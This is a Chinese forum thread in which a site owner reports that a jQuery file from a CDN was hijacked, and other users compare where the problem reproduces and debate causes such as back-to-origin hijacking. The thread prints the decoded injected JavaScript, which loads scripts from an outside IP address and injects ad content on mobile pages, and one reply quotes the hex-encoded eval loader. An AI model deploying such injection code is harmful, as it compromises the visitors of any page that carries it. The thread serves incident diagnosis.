今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容:
https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js
终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下
var c = function(u) {
var d = document,
e = d.createElement('script');
e.type = 'text/javascript';
e.src = u;
d.getElementsByTagName('head')[0].appendChild(e);
},
s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2';
if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01');
if ((typeof M7f == 'undefined') || (M7f != s)) {
M7f = s;
c(s + Math.random());
}
看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看:
!(function() {
if (typeof MB7F2 == 'undefined') {
MB7F2 = 1;
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.onload = script.onreadystatechange = function() {
if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") {
var isMobile = {
Win: function() {
return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false
},
Qqb: function() {
return navigator.userAgent.match(/QQ/i) ? true : false
},
Phone: function() {
return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false
}
};
var bz = 0;
if (isMobile.Win() || isMobile.Qqb()) {
bz = 0
} else if (isMobile.Phone()) {
var slt = Math.floor(Math.random() * 1000000) + 1000;
bz = 1;
var nd = document.createElement("div");
nd.id = slt;
nd.style.position = "fixed";
nd.style.zIndex = "9999";
nd.style.width = "100%";
nd.style.height = "auto";
nd.style.bottom = "-6px";
nd.style.right = "0px";
document.body.insertBefore(nd, document.body.firstChild);
var slt = '#' + slt
}
var tu = "http://120.79.33.84:1616/mb1.php?id=lp01";
var setcookies = function() {
var exp = new Date();
var value = exp.getTime();
exp.setTime(exp.getTime() + 3000 * 1000);
document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString()
};
var getCookie = function(d) {
var f = document.cookie;
var g = f.split("; ");
for (var e = 0; e < g.length; e++) {
var c = g[e].split("=");
if (c[0] == d) {
return c[1]
}
}
return 0
};
var mbbt = new Date();
mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000;
if ((bz != 0) && (mbbt > 81)) {
$(document).ready(function() {
$.ajax({
type: 'get',
url: tu + "&new=" + Math.random() + "&mblast=" + mbbt,
dataType: 'jsonp',
jsonp: "jsoncallback",
success: function(data) {
$(slt).html(data);
setcookies()
},
error: function() {}
})
})
}
}
};
script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2';
head.appendChild(script)
}
})();
因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。
因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。
1
Nitroethane 2018-12-24 09:51:01 +08:00 via Android
没有遇到所说的问题,能正常打开。是不是你被运营商劫持了?
|
2
BOYPT OP @Nitroethane #1 看分析文字
|
3
Les1ie 2018-12-24 09:54:09 +08:00 3
刚好昨晚看到知乎看到一篇文章 zhihu.com/question/35720092/answer/523563873
|
4
Les1ie 2018-12-24 09:54:54 +08:00
另外我这里没有遇到问题
|
5
BOYPT OP 可以排除营运商劫持,因为如图所示。
|
6
Nitroethane 2018-12-24 09:58:12 +08:00
@BOYPT #2 我看了,点击内容菜单能正常打开,console 什么报错都没有。唯一的两条报错信息是广告屏蔽插件屏蔽的两条广告请求。不要老想着搞个大新闻
|
7
BOYPT OP |
8
jptx 2018-12-24 10:01:31 +08:00
我这边也是正常的
|
9
wly19960911 2018-12-24 10:13:17 +08:00
@Les1ie #3 居然还有回源的时候被劫持,长见识了,果然 https 还不是完全值得信任。
|
10
Les1ie 2018-12-24 10:17:48 +08:00
即使我们做到了全链路 https, 但是云服务厂商自己的服务器之间没做到, 这也是个问题
另外知乎那篇文章似乎也没法石锤是回源的时候遇到了问题,如果是回源遇到了劫持,那么影响的应该是这个网站下面使用了这个 cdn 的很多客户呀,影响面积会不会更大 @wly19960911 #9 |
11
maplelin 2018-12-24 10:19:25 +08:00
坐标深圳,已复现问题,菜单无法正常打开
|
12
LanFomalhaut 2018-12-24 10:25:32 +08:00
@Les1ie
当年就遇到过一次....节点回源时候被劫持 缓存了被劫持篡改的广告 JS .然后这个站只要访问到这个节点就会 100%跳广告..属于大范围影响的 |
13
liberize 2018-12-24 10:27:25 +08:00
广州也复现了
|
14
BOYPT OP @Les1ie #10 如果是 cloudflare 的 CDN 就有回源模式,可以选择 full ssl,应该就能避免这类问题;而一众国产 CDN (有些甚至没有控制台)只能烧香了...
itellyou 站我个人建议更换静态库的 CDN,用 cdnjs 的应该就比较合适,cloudflare 在国内跟百度云合作,速度和技术上应该有点保证 |
15
BOYPT OP 楼主也是广州,目前能复现的是广州深圳,而七牛有专门的华南区区域划分,估计影响的就是华南区服务器
|
16
v2meng 2018-12-24 10:44:07 +08:00 via Android
广州长城宽带复现
|
17
miyuki 2018-12-24 10:57:05 +08:00 via Android
|
18
Variazioni 2018-12-24 10:58:30 +08:00
北京电信正常。。
|
19
Les1ie 2018-12-24 11:12:01 +08:00
cloudflare 国内默认不会走百度吧... 国内使用 cloudflare 是 cdn 云减速
|
20
Mac 2018-12-24 12:20:06 +08:00
|
22
jo32 2018-12-24 12:45:15 +08:00
(function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F63646E2E73746174696366696C652E6F72672F6A71756572792F312E31302E322F6A71756572792E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})();
深圳复现 |
23
shawndev 2018-12-24 13:03:52 +08:00
<img src="https://i.loli.net/2018/12/24/5c2068784f8b9.png" alt="屏幕快照 2018-12-24 下午 1.02.17.png" title="屏幕快照 2018-12-24 下午 1.02.17.png" />河南未重现
|
24
BOYPT OP 下午 1 点测试,劫持已经消失。
|
25
sneezry 2018-12-24 14:06:13 +08:00 via iPhone
@Les1ie 有一点没太想明白,https 下运营商是不是应该不知道文件后缀?为什么改后缀可以达到目的呢?
|
27
venhow 2018-12-24 16:46:39 +08:00
但是里面的点击不了,只是一个大大的红包
|
28
chungzhao 2018-12-24 17:59:02 +08:00
佛山联通不行。
MSDN 挺好的,我一直在用它下载系统。 诶,可惜了。。。 |
29
EarthChild 2018-12-24 18:30:44 +08:00
http://cdn.staticfile.org/ 我这边居然访问不了。。。没 FQ 啊!
|
30
RqPS6rhmP3Nyn3Tm 2018-12-25 01:34:17 +08:00 via iPhone
都 tls 了,除了 canonical name 和端口,路由节点啥都看不到。http 路径包括文件名已经被加密过了
只有可能是回源的问题,回源也上 https 就可以了,不知道这老哥为啥走这么大弯路 @Les1ie |
31
RqPS6rhmP3Nyn3Tm 2018-12-25 01:37:16 +08:00 via iPhone
Tls 全称是 transport layer security 啊(敲黑板
|
32
Les1ie 2018-12-25 09:04:58 +08:00
排除问题的阶段只能猜测所有的可能呀:1.回源阶段有问题 2.运营商有没有用了某个浏览器信任的证书做中间人 慢慢排查
|
33
Les1ie 2018-12-25 09:07:23 +08:00
现在运营商劫持依然很严重
是不是可以抓出来罪魁祸首,顺带赠送一个非法侵入计算机系统罪 |
34
lizheming 2018-12-25 09:35:20 +08:00
@BOYPT ( emmmm, 轻微反驳一下那个一众国产)... https://cdn.baomitu.com 75CDN 目前是已经全部切成 https 回源了的,所以楼主的情况在 75CDN 上不会碰到。
|
35
red2dog 2019-01-18 09:57:02 +08:00
遇到同样的问题了,排查了一晚上解决了。。。
|
36
Xheldon 2019-09-29 17:37:17 +08:00
北京联通遇到了, 点击左侧的展开菜单没反应
控制台看到是 bootstrap.3.0.3.js 报错, 打开这个文件看起来是文件内容不全导致的 官网下载一个 bootstrap.js 粘贴复制到控制台回车, 再点展开菜单就 OK 了 |